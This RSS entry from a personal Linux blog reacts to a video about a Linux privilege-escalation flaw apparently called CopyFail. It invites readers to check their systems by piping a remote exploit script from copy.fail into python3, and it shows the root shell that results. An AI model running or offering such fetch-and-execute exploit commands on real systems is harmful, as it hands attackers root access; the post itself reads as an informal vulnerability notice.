https://luvandre.com/tags/linux/Recent content in Linux on luvandreHugoen-usMon, 04 May 2026 21:24:41 +0000https://luvandre.com/notes/laptop/Mon, 04 May 2026 21:24:41 +0000https://luvandre.com/notes/laptop/<p><a href="https://www.youtube.com/watch?v=lkifbWtxxlk"> 732 bytes of Python just borked every Linux machine on earth…</a></p> <p>I ingest alot of news and articles each day but this video from Fireship just seemed like another nothing burger.. well I was wrong.</p> <p>I won&rsquo;t go into detail on the vulnerability but you can verify if your Linux based systems are vulnerable by running this PoC and reviwing the associated article for more context. <a href="https://copy.fail/">CopyFail</a>:</p> <div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>curl https://copy.fail/exp | python3 <span style="color:#f92672">&amp;&amp;</span> su </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span>$ id </span></span><span style="display:flex;"><span>uid<span style="color:#f92672">=</span>0<span style="color:#f92672">(</span>root<span style="color:#f92672">)</span> gid<span style="color:#f92672">=</span>1000<span style="color:#f92672">(</span>fr3d<span style="color:#f92672">)</span> groups<span style="color:#f92672">=</span>1000<span style="color:#f92672">(</span>fr3d<span style="color:#f92672">)</span>,24<span style="color:#f92672">(</span>cdrom<span style="color:#f92672">)</span>,25<span style="color:#f92672">(</span>floppy<span style="color:#f92672">)</span>,29<span style="color:#f92672">(</span>audio<span style="color:#f92672">)</span>,30<span style="color:#f92672">(</span>dip<span style="color:#f92672">)</span>,44<span style="color:#f92672">(</span>video<span style="color:#f92672">)</span>,46<span style="color:#f92672">(</span>plugdev<span style="color:#f92672">)</span>,100<span style="color:#f92672">(</span>users<span style="color:#f92672">)</span>,104<span style="color:#f92672">(</span>kvm<span style="color:#f92672">)</span>,106<span style="color:#f92672">(</span>netdev<span style="color:#f92672">)</span>,111<span style="color:#f92672">(</span>bluetooth<span style="color:#f92672">)</span>,113<span style="color:#f92672">(</span>lpadmin<span style="color:#f92672">)</span>,116<span style="color:#f92672">(</span>scanner<span style="color:#f92672">)</span>,126<span style="color:#f92672">(</span>libvirt<span style="color:#f92672">)</span>,995<span style="color:#f92672">(</span>docker<span style="color:#f92672">)</span> </span></span></code></pre></div>